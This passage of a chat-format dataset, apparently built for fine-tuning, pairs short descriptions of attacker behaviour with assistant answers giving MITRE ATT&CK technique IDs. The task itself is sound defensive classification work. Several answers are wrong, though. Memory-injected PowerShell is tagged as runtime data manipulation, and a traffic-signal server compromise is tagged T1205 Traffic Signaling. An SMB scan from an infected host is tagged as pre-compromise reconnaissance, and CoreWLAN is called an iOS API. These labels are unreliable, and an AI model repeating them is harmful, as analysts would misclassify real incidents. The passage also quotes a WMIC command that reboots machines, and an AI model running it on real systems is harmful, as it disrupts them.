                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries register malicious DLLs with the Odbcconf utility to execute code during ODBC driver configuration."
            },
            {
                "role": "assistant",
                "content": "T1218.008 - System Binary Proxy Execution: Odbcconf"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies existing user permissions to grant admin rights."
            },
            {
                "role": "assistant",
                "content": "T1098 - Account Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs a command to display driver details, such as 'systeminfo' combined with driver-specific flags."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages Windows API calls to attach its payload to a trusted process, causing the payload to appear as part of the trusted process’s tree."
            },
            {
                "role": "assistant",
                "content": "T1036.009 - Masquerading: Break Process Trees"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group performs a backlink analysis of the victim's website to uncover relationships with partner organizations and suppliers."
            },
            {
                "role": "assistant",
                "content": "T1591 - Gather Victim Org Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool manipulated the filesystem permissions on a Linux server, making a configuration file writable by the attacker’s user account."
            },
            {
                "role": "assistant",
                "content": "T1222.002 - File and Directory Permissions Modification: Linux and Mac File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker hijacks a legitimate VPN service to tunnel traffic and access internal servers undetected."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Compromise Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code queries the iOS CoreWLAN API to list all accessible wireless networks and their security settings."
            },
            {
                "role": "assistant",
                "content": "T1016.002 - System Network Configuration Discovery: Wi-Fi Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers write stolen files to an obscure local path, staging them for batch exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Actors perform domain-specific searches on Baidu to identify publicly exposed internal services."
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Open Websites/Domains: Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor rents a dedicated server in a foreign data center to avoid jurisdictional detection."
            },
            {
                "role": "assistant",
                "content": "T1583.004 - Acquire Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Security analyst discovers a cron job that runs a base64‑encoded command decoding routine, which ultimately downloads and runs a backdoor binary."
            },
            {
                "role": "assistant",
                "content": "T1053.003 - Scheduled Task/Job: Cron"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set employs malicious CD-ROMs that auto-execute code upon insertion, enabling replication of the payload through removable media devices."
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary invokes JavaScript code via Windows Script Host to execute a payload on the compromised system."
            },
            {
                "role": "assistant",
                "content": "T1059.007 - Command and Scripting Interpreter: JavaScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses RegQueryValueEx API to read the value of 'ImagePath' from the Service key."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers split stolen data into multiple 4 KB packets to bypass network bandwidth throttling."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a crafted .profile file, the intruder ensures that every new login triggers a command that sends system information to an external IP address."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The trojan enumerates and exfiltrates files from the victim's local hard drive, including documents and spreadsheets."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Injects a malicious PowerShell script into the memory of a trusted service to execute commands with elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1565.003 - Data Manipulation: Runtime Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware installed on a victim machine issues SMB enumeration commands to list other machines in the LAN and their OS versions."
            },
            {
                "role": "assistant",
                "content": "T1590 - Gather Victim Network Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker triggers a vulnerable PDF reader to repeatedly render complex documents, consuming CPU cycles until the endpoint becomes unresponsive."
            },
            {
                "role": "assistant",
                "content": "T1499.003 - Endpoint Denial of Service: Application Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers compromise a corporate Exchange server and use it to relay malicious PowerShell scripts to infected hosts via email."
            },
            {
                "role": "assistant",
                "content": "T1071.003 - Application Layer Protocol: Mail Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion employs the Remote Procedure Call (RPC) over DCOM to control a remote computer and copy stolen files."
            },
            {
                "role": "assistant",
                "content": "T1021.003 - Remote Services: Distributed Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries steal a legitimate administration tool from a compromised vendor’s website to blend in with normal traffic."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Obtain Capabilities: Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker updated the scheduled maintenance window of a cloud compute service to avoid detection while performing malicious activities."
            },
            {
                "role": "assistant",
                "content": "T1578.005 - Modify Cloud Compute Infrastructure: Modify Cloud Compute Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary employs the BloodHound tool to map out domain group memberships."
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT groups query the victim's DNS server for zone transfers, exposing internal hostnames and IP mappings."
            },
            {
                "role": "assistant",
                "content": "T1590 - Gather Victim Network Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor rewrites exfiltrated data as ASCII85 to bypass data loss prevention systems."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker conducts attacks on user credentials using password spraying techniques."
            },
            {
                "role": "assistant",
                "content": "T1110.003 - Brute Force: Password Spraying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker uses a crafted PDF exploiting a heap overflow in the PDF viewer to gain elevated execution."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script captures screenshots of the desktop every 30 seconds and uploads them to a remote server."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware establishes a persistent channel through macOS XPC services for command‑and‑control."
            },
            {
                "role": "assistant",
                "content": "T1559.003 - Inter-Process Communication: XPC Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor performs reconnaissance by querying public PKI data sources to retrieve TLS certificates for target sites."
            },
            {
                "role": "assistant",
                "content": "T1596.003 - Search Open Technical Databases: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor hijacks a commonly used library on the system, replacing it with a malicious version that runs whenever any application imports the shared module."
            },
            {
                "role": "assistant",
                "content": "T1129 - Shared Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers employ a debug interface to dump the securityd process and collect plaintext password data."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware abuses the control.exe binary to launch a hidden command prompt that loads a malicious DLL for persistence."
            },
            {
                "role": "assistant",
                "content": "T1218.002 - System Binary Proxy Execution: Control Panel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker enumerates the victim's internal network layout by probing IP address ranges and gathering routing information."
            },
            {
                "role": "assistant",
                "content": "T1590.004 - Gather Victim Network Information: Network Topology"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised admin account was used to modify the IIS application pool identity, allowing the attacker to run malicious code with elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1505.004 - Server Software Component: IIS Components"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker used rundll32.exe to launch a compressed, base64‑encoded payload embedded in a DLL, masking the malicious activity from endpoint detection."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - System Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise included editing the PAM stack to include a malicious pam_python script that captures credentials and grants unauthorized access."
            },
            {
                "role": "assistant",
                "content": "T1556.003 - Modify Authentication Process: Pluggable Authentication Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers compromise the central management server for traffic signal coordination and broadcast unauthorized timing changes."
            },
            {
                "role": "assistant",
                "content": "T1205 - Traffic Signaling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker enumerates Windows Group Policy objects using the gpresult command to locate policies applied to the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1615 - Group Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cybercriminal acquires a domain and configures it to serve as a phishing landing page."
            },
            {
                "role": "assistant",
                "content": "T1583.001 - Acquire Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers leveraged /bin/sh to run a series of commands that downloaded and executed a second-stage payload from a remote server."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A botnet commandeers infected devices to perform cryptomining, causing increased electricity usage and system slowdown."
            },
            {
                "role": "assistant",
                "content": "T1496 - Resource Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries employ VMware Cloud on AWS to create remote console sessions that allow them to manage and exfiltrate data from victim systems."
            },
            {
                "role": "assistant",
                "content": "T1021.007 - Remote Services: Cloud Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious file is installed as a Winlogon helper DLL, allowing the attacker to run code every time a user logs on."
            },
            {
                "role": "assistant",
                "content": "T1547.004 - Boot or Logon Autostart Execution: Winlogon Helper DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware packs exfiltrated data into encrypted ICMP echo replies, using a shared secret key, bypassing standard exfiltration detection."
            },
            {
                "role": "assistant",
                "content": "T1048.001 - Exfiltration Over Alternative Protocol: Exfiltration Over Symmetric Encrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a leaked authentication cookie found in log files to authenticate as the privileged user without providing credentials."
            },
            {
                "role": "assistant",
                "content": "T1550.004 - Use Alternate Authentication Material: Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set uses SSH to copy a backdoor binary from a compromised server to a remote Linux host for further exploitation."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a tool to dump the memory of the LSASS process to harvest credential hashes."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses a buffer overflow attack, overflowing a buffer with more data than it can hold, often to inject malicious code or crash the system."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malware sample queried the Win32_Service class via WMI to enumerate services and identify those with weak permissions."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By injecting malicious DLLs into the SYSVOL share, the threat actor modified the domain's Group Policy to execute code on all connected workstations."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion involved copying a genuine signed binary, stripping its signature, and then re‑signing it with a bogus certificate to fool integrity verification."
            },
            {
                "role": "assistant",
                "content": "T1036.001 - Masquerading: Invalid Code Signature"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers exploit a zero‑day in the device registration endpoint to bind a malicious device to a high‑privilege user’s account."
            },
            {
                "role": "assistant",
                "content": "T1098.005 - Account Manipulation: Device Registration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Python script was executed to enumerate Active Directory objects and gather user account information."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group obtains a user's ticket‑granting ticket (TGT) and uses it to log into a file server without supplying credentials."
            },
            {
                "role": "assistant",
                "content": "T1550.003 - Use Alternate Authentication Material: Pass the Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor hijacks a legitimate process by writing shellcode to its memory and executing it."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The spyware uses a DNS fast‑flux technique combined with a DGA to hide its command infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware downgrades the firmware image on the target machine, allowing previously patched bugs to be re-exploited."
            },
            {
                "role": "assistant",
                "content": "T1601.002 - Modify System Image: Downgrade System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs credential dumping via the ProcDump utility to capture LSASS dumps."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits a privileged service to import a malicious root CA into the browser's trusted certificate list."
            },
            {
                "role": "assistant",
                "content": "T1553.004 - Subvert Trust Controls: Install Root Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses the Windows Management Instrumentation (WMIC) command \"wmic os where Primary='true' call Reboot\" to restart targeted machines."
            },
            {
                "role": "assistant",
                "content": "T1529 - System Shutdown/Reboot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group establishes inter-process communication through a mailbox (Mailslot) to send commands to a stealthy loader."
            },
            {
                "role": "assistant",
                "content": "T1559 - Inter-Process Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising a host, the adversary installs TightVNC to maintain long‑term remote session capabilities."
            },
            {
                "role": "assistant",
                "content": "T1021.005 - Remote Services: VNC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary employs Asynchronous Procedure Call (APC) injection to queue malicious code for execution in the context of a high‑privilege Windows service."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor performs open web searches to collect information about the target's web infrastructure and public sites."
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Open Websites/Domains: Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised KRBTGT credentials are used to mint a Golden Ticket, letting the adversary authenticate as any account within the Active Directory."
            },
            {
                "role": "assistant",
                "content": "T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During an infiltration, the actor leaves a concealed USB drive in the target's office containing a tool that periodically uploads data to the device."
            },
            {
                "role": "assistant",
                "content": "T1052.001 - Exfiltration Over Physical Medium: Exfiltration over USB"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers redirect outbound traffic through an external proxy to bypass corporate firewall rules."
            },
            {
                "role": "assistant",
                "content": "T1090.002 - Proxy: External Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware authors tamper with Windows Update services to deliver a malicious driver as part of a routine system update."
            },
            {
                "role": "assistant",
                "content": "T1072 - Software Deployment Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware communicates over a covert channel hidden within TLS handshake extensions."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious insiders leveraged Confluence's bulk export feature to exfiltrate design documents and architecture diagrams."
            },
            {
                "role": "assistant",
                "content": "T1213.001 - Data from Information Repositories: Confluence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code is executed using the 'regsvr32' utility to load a remote COM scriptlet."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - System Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruders erase evidence of their persistence by removing Windows services and scheduled tasks they created."
            },
            {
                "role": "assistant",
                "content": "T1070.009 - Indicator Removal: Clear Persistence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
